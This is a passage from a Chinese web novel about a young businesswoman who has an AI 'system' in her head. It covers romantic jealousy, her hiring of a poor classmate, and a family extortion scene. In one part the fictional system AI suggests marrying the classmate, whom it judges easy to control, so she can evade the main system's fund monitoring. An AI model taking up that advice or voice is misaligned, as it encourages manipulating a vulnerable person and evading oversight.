“时昀, 她比你小九岁。”张恒宇也皱起眉,“完全是两代人,圈子、观念都不一样, 根本不合适。” “九岁怎么了?”陆川接话, “关键是人家小姑娘对他什么意思。谢时昀, 你说实话, 时墨对你有那意思吗?” 包间里又安静了。 谢时昀端着酒杯的手微微顿了一下。 他没有说话,但那个微妙的停顿,比任何回答都要诚实。 “不是吧……”孙启凡倒吸一口凉气,“你喜欢人家,人家对你没意思?” “也不能说没意思。”张恒宇试图打圆场, “可能就是还没到那一步……” “得了吧。”陆川打断他, 看着谢时昀,“谢时昀, 你跟我们说实话。时墨对你的态度, 是把你当什么?合作伙伴?朋友?还是——” “哥。”谢时昀终于开口了,声音有些低, “别问了。” 包间里彻底安静了。 所有人都懂了。 时墨对谢时昀, 没有那层意思。她把他当合作伙伴, 当朋友, 当值得信任的战友——但仅此而已。 谢时昀仰头把杯中酒一饮而尽, 喉结滚动了一下,什么也没说。 气氛变得有些微妙。 张恒宇咳嗽了一声,想转移话题:“那个, 时墨不是住在你家对面吗?这不就是缘分,慢慢来吧。” “嗯。”谢时昀放下酒杯。 “住对面?”孙启凡的眉头皱得更紧了,“那你岂不是天天都能见到她?” 谢时昀没回答。 “我说谢时昀, 你这叫什么事儿啊?”孙启凡有点急了,“你喜欢人家,人家住你对面,天天抬头不见低头见的,你不难受啊?” “他才不难受,天天看着,指不定心里高兴着呢。” “……我的事,我心里有数。”谢时昀道。 陆川看着谢时昀,忽然叹了口气,他认识谢时昀二十多年了,从来没见过他这副样子。 谢时昀这个人,从小到大都是被追捧的那个,从来只有别人喜欢他、追他,他从来没有主动喜欢过谁。 现在好不容易喜欢上一个,人家对他还没意思。 这事儿说出去,谁信? 陆川的妹妹陆舒涵,是从陆川嘴里知道这件事的。 陆舒涵比谢时昀小两岁,从小就跟在谢时昀屁股后面跑,长大后更是毫不掩饰对他的喜欢。两家是世交,门当户对,所有人都觉得他们迟早会在一起。 可谢时昀对她,始终保持着不远不近的距离。客气、礼貌、周到,没有半分逾越。 陆舒涵一直以为,谢时昀只是想先立业再成家。 直到陆川在饭桌上跟她说了谢时昀和时墨的事。 “你说什么?”陆舒涵放下筷子,震惊道,“他喜欢那个小他快十岁的时墨?搞笑呢?!” “喜欢有什么用?”陆川叹了口气,“人家小姑娘对他没意思,就把他当哥。” “没意思?”陆舒涵冷笑一声,“没意思她住他对面?没意思她跟他混在一起做生意?没意思她让他投什么她就投什么?” “薇薇,你别瞎想。时墨确实有本事,时昀听她的也是正常的——” “正常?”陆舒涵站起来,“哥,你是真傻还是装傻?一个年轻漂亮的女的,住在一个男的家对面,天天跟他在一块儿,你说正常?” 陆川张了张嘴,想说什么,又咽了回去。 陆舒涵拿起包就往外走。 “你去哪?”陆川追上去。 “我去找时墨。”陆舒涵头也不回,“我倒要问问她,她到底什么意思。不喜欢就别吊着,占着茅坑不拉屎算怎么回事?” “陆舒涵!”陆川拉住她,“你别冲动!那是谢时昀的事,跟你没关系!” “跟我没关系?”陆舒涵甩开他的手,眼眶已经红了,“哥,我喜欢他多少年了,你比谁都清楚。你说跟我没关系?” 说罢,转身冲了出去。 彼时时墨正在家里整理古建资料,听到敲门声,开门便看到一个穿着剪裁考究的米色风衣、烫着大波浪的年轻姑娘,妆容精致,却满脸怒气,眼神不善地盯着自己。 “你是时墨?”女人上下打量着她,语气充满敌意。 “我是。”时墨疑惑地看着她,问,“你是哪位?” “我是陆舒涵。”女人走进院子,高跟鞋踩在青砖上,发出清脆的声响,“陆川的妹妹,从小和时昀一个大院长大。” 时墨一眼便看穿了她的心思:“你找我有事?” “你别装傻!”陆舒涵看着她云淡风轻的样子,更是气不打一处来,指着她的鼻子,“你明明知道时昀喜欢你,为了你,他倾尽所有投地产,不顾所有人的反对,什么都听你的,可你呢?你根本不喜欢他,却一直吊着他,住在他对面,享受着他的好,你不觉得自己太过分了吗?” 时墨眉梢微挑,有些意外。她从未想过遮掩自己对谢时昀的态度,也从未刻意索取过他的付出,陆舒涵的指责,在她看来毫无道理。 她懒得跟对方纠缠,语气冷淡地下了逐客令:“第一,我与谢时昀是合作伙伴,彼此尊重,各司其职,他的投资决策,是基于商业判断,与私人感情无关;第二,我从未要求过他为我做任何事,所有付出都是他自愿;第三,我对儿女情长没有兴趣,也请你不要再来打扰我。” 说完,时墨直接起身,做出送客的姿态:“时间到了,我要出门了,请吧。” 陆舒涵没想到她如此冷静敷衍,一肚子的怒火无处发泄。 她知道时墨说的是事实,但她就是咽不下这口气。她喜欢谢时昀那么多年,谢时昀从来没有正眼看过她。而这个女人,什么都不用做,就让谢时昀死心塌地。 陆舒涵的眼泪唰地掉了下来。 她用手背胡乱擦了一把,声音变得又哑又涩:“你知不知道,他从来没有喜欢过任何人。你是第一个。可你呢?你对他连一点感觉都没有吗?” 时墨沉默了,这人怎么说哭就哭? “陆小姐。”时墨劝道,“感情的事,不是谁先喜欢谁就赢了,也不是谁付出多谁就该得到回报。谢时昀是个很好的人,值得很好的人去喜欢。但那个人不是我。” 陆舒涵站在那里,眼泪不停地流,嘴唇哆嗦着,想说什么,却什么都说不出来。 时墨看着她,冷漠道:“话止于此,你可以离开了。” 陆舒涵站在那里,深深地看了时墨一眼,突然道:“你真冷漠,我替时昀不值!”说完狠狠瞪了她一眼,怒气冲冲地走出了院子。 谢时昀得知陆舒涵找上门闹事,当即放下手里的工作,急匆匆赶过来,站在门口看到时墨正在收拾文件,脸上看不出丝毫情绪,心里更是愧疚。 “墨墨。”他的声音有些低,“下午的事,我知道了。” 时墨抬起头看了他一眼,又低下头继续整理资料:“进来坐吧。” 谢时昀走进来,在她对面坐下。 “墨墨,对不起,我事先完全不知道这件事,是我没有处理好,让你受委屈了。”他语气急切,满是自责,“我已经跟陆川说过了,让他管好他妹妹。以后绝对不会再发生这种事,不会再让任何人来打扰你。” 时墨看着他愧疚的样子,摆了摆手,语气平淡:“没事,一点小插曲,不影响,你不用放在心上。” 她本就没把陆舒涵的指责放在心上,也不想因为这些事,影响与谢时昀的合作。 “但这件事因我而起。”谢时昀的声音有些闷,“如果我不……” 他停住了。 如果他不喜欢她,就不会有这些事。 这句话他没能说出口。 时墨终于抬起头,看着他。 昏黄的灯光下,谢时昀的脸看起来比平时沉了几分,眉心微微拧着,像是在忍耐什么。 “谢时昀。” “嗯。” “我们是合作伙伴,也是朋友。”她说,“我很珍惜这段关系。其他的事,我暂时不想谈,也不想让它影响我们之间的合作。” 谢时昀沉默了良久。 “好。”他的声音低得几乎听不见,“不谈。” 他站起来,走到门口,忽然停下脚步。 “墨墨。” “嗯?” “如果有一天,”他没有回头,声音像是祈求着,“你想谈了,能不能先考虑我?” 时墨没回答。 谢时昀嘲讽着自己的妄念,离开了。 脚步声在夜色中渐渐远去。 时墨坐在书桌前,揉了揉太阳穴,片刻后,继续整理资料。 * 一个月后,小七终于从小黑屋里出来了。 晚上,时墨正在书桌前写稿,忽然听到那个熟悉的声音: 【宿主!我回来了!我不在的这一个月,你有没有想我呀!】 时墨手里的笔顿了一下。 【呜呜呜宿主我好想你啊!小黑屋里什么都没有,黑漆漆的跟黑洞一样,我好害怕呜呜呜!主系统太坏了!它扣了我所有的奖金,还骂我是软骨头!我本来也没骨头啊……】 时墨放下笔,靠在椅背上,嘴角慢慢弯了起来。 “欢迎回来。”她说,声音平静,但握着笔的手指微微发颤。 【哇!宿主你的声音怎么有点怪怪的?】 “累的呗。”时墨眨了眨眼,把眼中那点湿意压回去,“你不在的这一个月,没人给我查资料,我干什么都要多花好几倍的时间。” 【哎呀,没有我宿主你怎么活啊!】小七的声音又恢复了那种臭屁的语气,【不过宿主你也太厉害了,我不在的时候你居然搞定了那么多事!《古宅迷踪》破百万了!你不但成了国家文物局的专家!还搞了个房地产公司!】 【没办法。】时墨笑了笑,【总不能停下来等你。】 【宿主……】小七的声音忽然低了下去,【你就不怕我回不回来吗?】 时墨脸上的笑容凝固。 【怕也没用。】 【对不起宿主,都是我不好,我应该更机智些……】 【不是你的错。】时墨打断它,【是我最近太依赖你了,以后我会注意的。】 【对了宿主。】小七的声音忽然变得严肃起来,【主系统还给你发了新的规则,说不可干涉世界运转,还说我要再犯就把我格式化!生气!】 时墨的眼神冷了下来。 【我知道了,以后我会小心的。】 但她心里清楚,“小心”只是暂时的策略。只要主系统的规则还在,她就永远受制于人。 她需要从根本上解决问题。 只要忍到毕业,她就可以钻最大的漏洞了。 为了以防万一,她需要一个绝对可控的人,在必要的时候帮她打掩护。 这个人,她早就选好了。 几天后,首都大学公布了“时墨奖学金”的评选结果。 这是时墨以个人名义设立的奖学金,专门资助品学兼优的贫困生。只要审核通过,大学四年的学费和生活费全部由时墨承担,毕业后还可以优先进入时记旗下的公司任职。 消息一出,整个学校都轰动了。 奖学金申请截止那天,时墨翻着申请材料,发现里面没有刘巍的名字。 刘巍是时墨的高中同学,从高考后开始就在时记勤工俭学。他大学学习成绩一直名列前茅,家里条件却很差,父亲在煤场上班,一身的职业病,咳嗽起来整栋楼都能听见。母亲身体也不好,常年吃药,还要照顾四个弟弟妹妹。 全家的收入就靠父亲微薄的工资和刘巍在时记打工的钱,勉强糊口。 时墨找到他的时候,他正在图书馆里看书。 午后的阳光透过窗棂,洒在他身上。他坐在最角落的位置,面前摊着厚厚的《结构力学》,手边放着半块馒头和一瓶凉白开、身上的衬衫洗得发白、袖口磨破的白衬衫,却收拾得干干净净,眼神清澈又专注。 “你怎么没申请奖学金?你的成绩、家庭条件完全符合要求。”时墨在他对面坐下,开门见山道。 刘巍抬头看到是她,瞬间紧张起来,脸颊泛红,紧张地攥着手里的笔,语气拘谨又真诚:“时墨,我在时记打工的收入,足够维持学业和家用了。还有很多山区来的同学,比我更困难,应该把机会留给他们。” “而且,你已经帮了我很多了。”他迟疑了一瞬,眼神里带着满满的感激,“你把我妈妈安排到时记后勤做保洁,还预支了三个月工资给我爸治病,我不能再接受你的资助了。” 时墨看着他,心里更加确定,刘巍是最合适的人选。 他踏实、肯干、话少、从不抱怨,也从来没有因为时墨是老板就阿谀奉承。别的员工私下叫她“时总”或者“墨墨姐”,他永远规规矩矩地叫“时墨”,不以自己是时墨的同学自居,一直不远不近,恰到好处。 他母亲生病那次,时墨让王桂英给他预支了工资,他硬是每天多干两个小时,用 了三个月的时间,把钱一分不少地还了回来。 王桂英跟时墨说这事的时候,感慨道:“这孩子,太实在了。我让他慢慢还,他非不肯,说不能欠着。” 【宿主。】系统也在脑海里给出判断,【刘巍此人,知恩图报,有过度偿还倾向,你予他一分恩惠,他必以十分回报。】 【我看出来了。】 【他的家庭结构也简单,如果宿主考虑通过婚姻关系规避主系统资金监控,刘巍的条件确实比谢时昀和伊恩更适合。】 【我是有这个打算,他很好掌控。】 【是吧是吧!刘巍是完全在你的体系里成长起来的。从高中毕业到现在,他每一步都是你铺的路,他是你的作品!】 时墨听到系统最后一句话,忽然有一种微妙的认同感。 【他的确是。】 当然,她也不会亏待他。 “奖学金你不申请,我不勉强。”时墨笑了笑,换了话题,“我最近在写新书、做古建研究,需要一个助手整理资料、核对文献,工钱比你在超市高一倍,你看你有没有兴趣?” 刘巍愣了一瞬。 他没想到时墨会给他这个机会。 他张了张嘴,想说“不用”,但话到嘴边又咽了回去。他知道,时墨对他不是客套,也不是施舍,她是真的需要一个助手。 而他,也确实需要这份收入。 “我愿意!”刘巍的声音有些发紧。 “行。”时墨说着写下家里地址,推到他面前“以后每周六日,上午九点来我家帮我整理资料。” 刘巍小心地收起纸条,犹豫了一下,问:“需要我签保密协议吗?” 时墨微微挑眉。 这孩子,比她想的心思更细。 她从包里拿出一份系统秒出的协议书,推到刘巍面前。 刘巍连看都没看,拿起笔,一笔一划地签上了自己的名字。字迹工整俊秀,一如他本人,规矩、妥帖、让人放心。 时墨看着他,心里微微一动,她清楚,自己是在利用刘巍的困境与感恩,为自己打造一个“安全屏障”,手段算不上光明磊落,但在当下的处境里,她别无选择。当然,她也绝不会亏待他,会给他足够的回报。 而刘巍签下名字后,紧紧攥着协议,心里满是自卑与悸动。 在他眼里,时墨就像天上耀眼的星辰,才华横溢、事业有成、光芒万丈,而他只是一个卑微的穷学生,能留在她身边做助手,他已经心满意足。 他悄悄把这份懵懂的喜欢,深深藏在心底,从未敢表露半分。他知道自己配不上她,只想着勤勤恳恳做好每一件事,绝不辜负她的信任。 刘巍开始每周六日来时墨家整理资料。 他来得总是很早,早上七点半,时墨刚洗漱完,院门就被轻轻敲响了三下。 时墨打开门,刘巍站在门口,手里拎着一个保温袋。 “时墨,早。”他把保温袋递过来,“这是我妈做的包子,让我带给你尝尝。” 时墨接过保温袋,打开一看,包子还冒着热气,皮薄馅大,一看就是费了心思做的。 “替我谢谢阿姨。”时墨说。 “嗯。”刘巍点点头,换鞋进门,径直走到时墨给他安排的工作台前,把书包放下,拿出笔记本和笔,安安静静地等着时墨给他布置任务。 时墨给他列了一个清单,需要查哪些资料、整理哪些数据、核对哪些引文。刘巍看完清单,没有多问一句,埋头就开始干活。 一上午,他几乎没说过话。 时墨偶尔抬头看他,他永远保持着同一个姿势,腰背挺直,头微微低垂,笔在纸上沙沙地写,偶尔翻一页书,偶尔停下来想一想,然后继续写。 中午吃饭的时候,时墨给他倒了杯水,问他:“累不累?” “不累。”刘巍接过水杯,双手捧着,小心翼翼地喝了一口,“这些资料很有意思,我以前没接触过。” 时墨看了他一眼。 他说的是真话,他的眼睛是那种对知识如饥似渴的人才会有的光。 “你学的是经济,对这些建筑史的资料也感兴趣?” “你整理的资料,什么领域的都有。”刘巍说,“每次都能学到新东西。” 时墨没再说什么。 下午继续干活,刘巍的效率出乎时墨的意料。她交代过的事,他一次就记住,从不需要说第二遍。资料的分类、标注、归档,他做得堪比系统的细致。 傍晚,时墨送他出门,他站在院门口,又说了一句:“谢谢你时墨。” “谢什么?” “谢你给我这个机会。”他语气认真的保证着,“我会好好干的。” 【宿主。】小七的声音冒出来,【他每次叫你的时候,语气都不一样。】 时墨想了想,没觉得有什么不一样。 【算了,你在这方面一向迟钝。】小七叹了口气,【宿主,你有没有想过,一个二十出头的男孩子,每周六日都来你家,跟你单独待一整天,他会不会……】 【不会。】 【你怎么这么肯定?】 【因为他是个聪明人,聪明人不会做没有结果的事。】 小七沉默了。 它想说,感情这种事,从来不是聪明就能控制的。但它看了看时墨的表情,把这句话咽了回去。 刘巍成为时墨私人助手的事,很快在校园和时记传开,众人都只当是时墨心地善良,帮扶家境困难的同学,纷纷夸赞她重情重义。 赵红梅最先知道,她在时墨身边,一眼就看出了刘巍看时墨的眼神中那种小心翼翼的、克制着的、生怕被发现又忍不住偷偷看的眼神。 她私下跟时墨提了一嘴:“墨墨,那个刘巍,你是不是对人家太照顾了?” “他是我的助手。”时墨头也没抬,“我需要人帮忙,他需要钱,各取所需罢了。” 赵红梅看时墨没那意思,把想说的话咽了回去。 她了解时墨,时墨这个人,做事向来目的明确,感情用事的时候少之又少。她对刘巍好,是真的觉得他是个可用之人。至于刘巍怎么想,时墨根本不关心。 同校的伊恩也听说了。 他在时墨面前提起刘巍的时候,语气有些微妙:“听说你找了个助手,是你的高中同学?” “嗯。”时墨正在看合同,随口应了一声,“这孩子挺能干的。” 孩子。 伊恩听到这个词,乐了。 “那挺好。你一个人确实太忙了,有人帮忙是好事。” 他没再多问,但从那天起,他来时墨家的频率比以前高了。有时候带一盒水果,有时候带一束花,有时候什么都不带,就是路过进来坐坐。 他每次都恰好能遇到刘巍。 刘巍每次都安安静静地坐在工作台前,头也不抬,像是根本不在意他来他走。 伊恩跟他打招呼,他礼貌地回应,不热络,也不冷淡。 伊恩没想到刘巍这个人,比他想的要沉得住气。 谢时昀反倒成了最后一个知道的。 不是他消息不灵通,而是他那这段时间刻意减少了来时墨家的次数。自从陆舒涵来过之后,他就在有意无意地拉开距离,避免时墨最近看到他就想起陆舒涵的事。 但有些事,拉开距离也躲不掉。 那天他来给时墨送文件,推门进去的时候,看到刘巍正坐在书桌前整理资料。时墨站在他旁边,俯身指着书上的某一行字,在跟他说什么。 两个人挨得很近。 时墨的手搭在椅背上,刘巍微微侧着头,认真地听她说话,偶尔点头,偶尔问一句什么。 画面很和谐,和谐得让谢时昀的脚步停顿下来。 “谢哥?”时墨抬起头,看到他站在门口,“进来啊。” 谢时昀走进去,把文件放在桌上,目光扫过刘巍。 刘巍站起来,朝他点了点头:“谢总。” “嗯。”谢时昀应了一声,转向时墨,“这是下个季度的计划,你看看。” 他站在那里,没有要走的意思。 时墨翻开文件看了一会儿,抬头看了他一眼:“还有事?” 谢时昀沉默了一瞬。 “没事。”他说,“我先走了。” 他转身往外走,走到门口的时候,又回头看了一眼。 刘巍已经重新坐下了,正低着头在笔记本上写什么。时墨站在他旁边,又指着书上的另一行字,在跟他说什么。 谢时昀收回目光,大步流星地走了。 【宿主。】小七的声音小心翼翼地冒出来,【你有没有觉得,刚才的气氛有点怪?】 【有吗?】时墨头也没抬。 【……算了,当我没说。】 * 日子一天天过去,转眼就到了大三下学期。 王桂英已经怀孕六个多月了,肚子一天天大起来,行动越来越不方便。 时墨看着她每天挺着大肚子在店里忙前忙后,实在不忍心,就跟赵海霖说:“海霖哥,嫂子月份大了,别让她再上班了。你们俩都回家休息,工资照发。等孩子生下来,坐完月子再说。” “那怎么行!”赵海霖连忙摆手,“店里这么忙,我们怎么能休息呢?再说了,桂英在家闲着也是闲着,不如在店里还能活动活动。” “活动什么活动?”时墨瞪了他一眼,“嫂子都快生了,你还让她搬货?海霖哥,你心也太大了吧?时记开了这么多家店,不缺你们两个人手。但嫂子缺你照顾她。” 赵海霖被说得不好意思,挠了挠头:“那我一个人干就行,不用桂英了。” “你一个人也干不过来。”时墨摆摆手,“听我的,你们都回去。店里有二姐呢。” 赵红梅也笑着说:“是啊哥,你们就放心吧!店里有我呢!保证给你打理得井井有条!” 赵海霖夫妻俩拗不过时墨,只能答应了。 赵红梅果然没让时墨失望。她从当初那个完全不懂管理的人,变成了干练的门店经理。店里打理得井井有条,账目清清楚楚,管起人来也头头是道,店里的员工都服她,比王桂英在的时候还要好。她还自己琢磨出了一套库存管理的方法,把损耗率降到了最低。 时墨看着赵红梅忙碌的身影,心里很是欣慰。 她没看错人。 可她没想到,安稳的日子没过几天,家里就闹了起来。 那天下午,时墨正在家里看老城区改造的图纸,突然听见院子里传来吵吵嚷嚷的声音。 “时墨!你给我出来!” 时墨放下图纸,皱了皱眉。 “时芳华叉着腰,扯着嗓子喊,“你个没良心的白眼狼!发达了就忘了本了!” 赵红梅正晾着刚洗好的床单,被吓得一哆嗦,手里的床单掉在地上。她抬头就看见时芳华气势汹汹地闯进来,身后跟着她那个游手好闲的弟弟赵虎,嘴里叼着根烟,吊儿郎当的。 “妈?您怎么来了?”赵红梅赶紧捡起床单。 “滚开!这儿没你说话的份!”时芳华一把推开她,四处张望,“时墨呢!” 赵红梅赶紧拦住她,不让她乱闯:“妈你这是要干啥!” “你怎么回事!是不是自家人!”时芳华唾沫横飞地喊,“咱们时家的生意轮得到外人掺和?我告诉你老二,你嫂子休息了,就该让你弟顶上!这是咱家的产业,凭什么让外人占便宜!” “妈,您别不讲理。”赵红梅气得脸都红了,“墨墨说了,店里的事暂时由我负责交接。墨墨找的管理者都是有学历有经验的,而且主要负责人还是谢总和墨墨,我就是个打工的。虎子连高中都没毕业,什么都不会,怎么管店?” “不会可以学啊!”时芳华眼睛一瞪,“他是墨墨的表弟,自家人还能胳膊肘往外拐?总比你们雇外人可靠!” “就是!”赵虎把烟头往地上一扔,用脚碾了碾,斜着眼说,“妈说得对!时记是咱们的产业,凭什么让外人管?” “妈,我哥和嫂子是休息,不是被踢出去。墨墨给他们照发工资照分红,哪家老板能做到这样?” “你闭嘴!”时芳华瞪了赵红梅一眼,“你现在住着墨墨的院子,吃着墨墨的饭,真当自己是和她一个妈生的?你知不知道里外拐?” 赵红梅的脸色白了一瞬。 时墨听到这儿,才走出来。 她一出现,院子里的气氛立刻变了。 赵虎缩了缩脖子,不敢看她。 时芳华却立刻换了一副嘴脸,拉着时墨的手,眼泪说来就来:“墨墨!你可回来了!你看,桂英怀孕了不能上班,正好让虎子来店里帮忙。虎子都十八了,有的是力气,肯定能好好干!你是不知道,虎子这孩子现在可懂事了,天天在家帮我干活……” 时墨把手抽回来,冷淡道:“大姑,时记招人有规矩,必须有老员工担保,虎子不符合条件。” “什么规矩不规矩的!”时芳华立刻变了脸,“你是老板,规矩还不是你定的?你动动嘴皮子的事!” “我定的规矩,我必须带头遵守。”时墨说,“不然,今天我给虎子开了后门,明天别人也来找我开后门,我还怎么管理?再说他连秤都认不全,能管什么?管着大家跟你一起偷店里的钱吗?” 这话一出,赵虎的脸“唰”地红了。 去年过年忙,他来时记帮忙,第一天偷拿了收银台五十块钱,第二天把过期的牛奶卖给老太太,第三天跟顾客吵起来把人推了个跟头。还是赵海霖赔了人家两百块钱,才把事了了。 “那、那都是以前的事了!”赵虎梗着脖子喊,“我现在改了!我肯定好好干!” “改了?”时墨冷笑一声,“上周你跟人赌钱,输了八百块,跟人打架被派出所抓了,还是你爸去领的你,你当我不知道?” 赵虎瞬间哑了,低着头不敢说话。 时芳华听时墨数落的话,脸色彻底沉了下来。 “时墨,少扯那些没用的!小孩子谁不犯点错?改了不就行了!”她的声音陡然尖利起来,“时墨你可不能忘本!当初你开店的时候,你大哥大嫂可是起早贪黑地干!没有他们,能有今天的时记吗?现在他们休息了,让虎子顶个班怎么了?你要是不同意,就是忘恩负义!” “就是!”赵虎也跟着起哄,“时记本来就有我们家一半!我妈说了,当初要不是我大舅和大舅妈跟着你干,你能有今天?现在你发达了,就想把我们踢开,门都没有!” 时墨的眼神冷了下来。 “时记是我一个人创办的,跟你们家没有任何关系。”她冷冷地说,“海霖哥和嫂子是跟着我干,但我也给了他们相应的报酬。你要是再胡搅蛮缠,就别怪我不客气了。” “你不客气?你能怎么不客气?”时芳华立刻撒起泼来,一屁股坐在地上,拍着大腿哭喊,“海霖是我儿子!他的就是我的!时记就是我们老赵家的!今天你必须让虎子去当店长,不然我就不走了!我就在你这儿闹,让所有人都看看你这个白眼狼是什么德行!成大老板了就开始欺负穷亲戚!” “我再说一遍,不可能。”时墨的语气没有一丝波澜,“赵虎初中都没毕业,连账都算不清楚,怎么当店长?我这里不养闲人。” “你敢说我儿子是闲人!”时芳华气得跳脚,“我告诉你时墨,你今天要是不答应,我就去你学校闹!去你店里闹!我让你身败名裂!让你的时记开不下去!” 她说着就要打滚,赵红梅赶紧拉住她:“妈!有话好好说,你别这样!” “你个吃里扒外的东西!”时芳华反手就给了赵红梅一巴掌,打得她一个趔趄,“要不是我当初让你过来,你现在还在老家种地呢!现在倒帮着外人说话!” 她一边哭一边喊,声音大得整条胡同都能听见。 谢时昀听到动静赶紧过来,正好看到时芳华打赵红梅。 “你干什么!”他大步走过来,一把把赵红梅拉到时墨身边,眼神冰冷地盯着时芳华,“打人犯法,你再撒泼我立刻报警!” 谢时昀气场本来就强,冷下脸来更是吓人。时芳华被他看得一哆嗦,气焰顿时矮了半截,可还是嘴硬:“我教训我女儿,关你什么事?你一个外人少管我们家的事!再说警察管得着家务事吗!” “私闯民宅,寻衅滋事。”时墨提醒道,“你要是觉得警察管不着,可以试试。” “我可不是外人。”谢时昀往前站了一步,挡在时墨身前,“我就是你口中时记的股东,你说的事,我当然管得着!” 时芳华不接谢时昀的话,又哭起来,指着时墨喊着:“别以为我不知道!你现在赚大钱了!一年少说也有几百万!你给外人都那么大方,设立什么奖学金,给员工涨工资,怎么就不能拉你表弟一把?要不是有人告诉我,我还被你蒙在鼓里呢!” 时墨的眼神瞬间锐利起来。 果然,这件事不是偶然。 就在这时,院门外又传来急促的脚步声。赵海霖扶着大肚子的王桂英,气喘吁吁地跑了进来。 “妈!你怎么跑这儿来了!”赵海霖急得满头大汗,“我不是跟你说了吗,店里的事墨墨都安排好了,你别来捣乱!” “我捣乱?”时芳华指着赵海霖的鼻子骂,“你个傻小子!被人卖了还帮着数钱呢!时记本来就该是你的!现在倒好,你在家歇着,让外人管着店,钱都进了别人腰包!” “妈!你胡说什么呢!”王桂英气得脸都白了,捂着肚子说,“墨墨对我们多好啊!给我们开高工资,年底还有分红,我怀孕了她立马让我回家休息,工资照发!上哪儿找这么好的老板去!” “好什么好!她那是打发叫花子呢!”时芳华尖叫道,“我都打听清楚了!时记一年赚好几百万!给你们那点零头算什么!今天要么让虎子当店长,要么给我们一百万!不然我就去她学校闹!去她店里闹!让她身败名裂!” “几百万?”时墨终于开口了,她看着时芳华,眼神冷得像冰,“大姑,你这算盘打得真响。我倒想问问,是谁跟您说时记一年赚好几百万的?又是谁跟您说,海霖哥的位置该让给赵虎的?” 时芳华的眼神闪烁了一下,支支吾吾地说:“我、我自己打听的!反正大家都这么说!” “大家?哪个大家?”时墨往前逼近一步,声音不大,却带着一股压迫感,“是上周在商场跟您搭话的那个穿黑夹克的男人吗?他跟您说,只要您来闹,就能拿到钱,还能让赵虎当店长,对不对?” 时芳华的脸“唰”地一下白了,嘴唇哆嗦着说不出话。 她没想到,时墨居然什么都知道。 【宿主!查出来了!】小七突然在脑海里喊,【那个穿黑夹克的是姜云森的人!他上周故意在商场跟时芳华搭话,挑唆她来闹的!就是想搅乱你的生活,让你分心!】 时墨的眼神彻底沉了下去。 姜云森。 果然是你。 玩这种阴招,挑唆亲戚来恶心我。 时芳华见心思被戳破,索性破罐子破摔,往地上一躺:“我不管!反正今天你不给钱不让人,我就死在你这儿!我让你以后没法做人!” “行啊。”时墨点点头,拿起桌上的大哥大,“既然您不想好好说,那咱们就找警察来说。我倒要问问,私闯民宅、敲诈勒索,够不够判个三年五年的。” 她说着就开始拨号。 “别!别报警!”时芳华吓得立马从地上爬起来,她就是来撒泼要钱的,可不想坐牢。 赵虎拉了拉她的袖子,小声说:“妈,时墨不认,咱们去找舅舅舅妈去。” 时芳华恶狠狠地瞪了时墨一眼,拉着赵虎就往门外走,走到门口还不忘放狠话:“时墨!你给我等着!这事没完!你不把钱给我,我天天来闹!我让你不得安生!” “砰”的一声,院门被狠狠摔上。 院子里终于安静了。 赵海霖低着头,愧疚得不敢看时墨:“墨墨,对不起,都是我不好,没拦住我妈……” “不关你的事。”时墨摇了摇头,目光看向院门的方向,声音很轻,带着一丝寒意,“是有人故意挑唆的。” 时芳华在时墨那里没讨到便宜,果然如她所说,转身就去了时墨爸妈家。 时墨是晚上接到她妈电话的。 “墨墨,你大姑今天来家里了。”李秀兰的声音有些疲惫,“说你欺负她,说你忘恩负义,说你赚了大钱就不认亲戚……哭了一个多小时,你爸劝都劝不住。” 时墨靠在椅背上,闭了闭眼睛。 “她没闹你吧?” “闹什么呀,就是哭。”李秀兰叹了口气,“她说什么时记一年赚几百万,说你把海霖他们两口子踢出去了,说要让赵虎当店长……我说我不懂生意上的事,让她找你谈,她又不肯,非说你不讲情面。” “妈,她说的话,你别往心里去。”时墨的声音平静,“时记的事,我有分寸。海霖哥和嫂子是回家休息,工资照发,年底分红照拿。至于赵虎高中都没毕业,还偷钱,把他放进超市就是把老鼠放进米仓。” 李秀兰沉默了一会儿。 “我知道。”她说,“你大姑那个人,以前也不这样,现在是见钱眼开了。我跟你爸说了,让他别掺和。但你爸那个人你也知道,他夹在中间难做。” 时墨的手指在桌面上轻轻敲了两下。 “我知道了,妈。这事我来处理,你别操心。” 第92章 时墨还没出手, 谢时昀就把时芳华的事办妥了。 傍晚,时墨正在院子里翻刚收来的旧拓本,谢时昀拎着一筐刚上市的水蜜桃进来:“你大姑那边, 以后不会再来闹了。”他把桃子放在石桌上, 顺手递了一个洗干净的给时墨。 时墨咬了一口, 汁水清甜, 抬头看他:“怎么谈的?” “我跟他们算了笔账。”谢时昀在她对面坐下,轻描淡写道,“赵虎他在外面欠了八千多块的赌债,债主昨天已经堵到家门口了,再还不上就要卸他一条胳膊, 我替他平了这件事。” 时墨挑了挑眉。 谢时昀指尖轻轻敲着石桌:“我跟你姑父也聊了, 他是个明事理的,知道再闹下去, 不仅他大儿子在时记的分红保不住, 赵虎欠赌债的事要是捅出去,他们家以后在周围亲朋好友面前就抬不起头了。他已经把赵虎锁在家里了, 还保证以后看好你大姑, 绝不让她再来打扰你。” 话说得轻松, 时墨却清楚这里面的分寸——既没把人逼到绝路, 又掐住了对方的七寸。真要是硬来, 以时芳华撒泼打滚的性子,只会没完没了;可光给好处,又会让她觉得时墨好欺负。谢时昀肯定还做了哪些事, 只不过没说。 “花了多少?”时墨问。 “没多少。”谢时昀摆摆手,“你的事就是我的事,别跟我算账。” 他看着时墨, 眼底带着克制的笑意,开玩笑道,“真要过意不去,以后多给我发点‘奖励’就行。” “好,下次给你包个大红包!”时墨忍不住笑了一下。 麻烦解决了,日子又恢复了平静。 时墨把全部精力都放在了准备新书、跟进老城区四合院修缮、收罗流散的文物上。 自从《古宅迷踪》爆火后,她的第二部推理小说《镜中局》还没动笔,就已经被各大出版社盯上了。林慧君隔三差五就往时墨家跑,催稿催得比债主还勤快,全国各地读者的来信堆满了出版社的库房。 “时墨啊,你哪怕先给我写个开头呢?”林慧君坐在院子里,手里捧着时墨给她倒的茶,一脸期盼,“读者来信我都收到手软了,全是问你新书什么时候出的。” 时墨翻着资料,笑笑:“林姨,好饭不怕晚,不急。” “你不急我急啊!”林慧君急了,“你知道现在盗版书商多猖狂吗?市面上已经有冒你名字出的书了,什么《古宅惊魂》《古墓迷案》,全是蹭你热度的!” 时墨依旧淡定道:“假的真不了,真的假不了。” 林慧君无奈,知道催不动她,只好叹口气:“那你给我个准话,年底之前能不能出来?” “等我把这部分修缮方案写完,就动笔。” “你这说了跟没说一样!”林慧君急得拍着桌面,“年底!年底之前必须交稿!不然我就搬来你家住,天天盯着你写!” 时墨被她逗笑了,抬头道:“行,年底之前,尽量给你。” 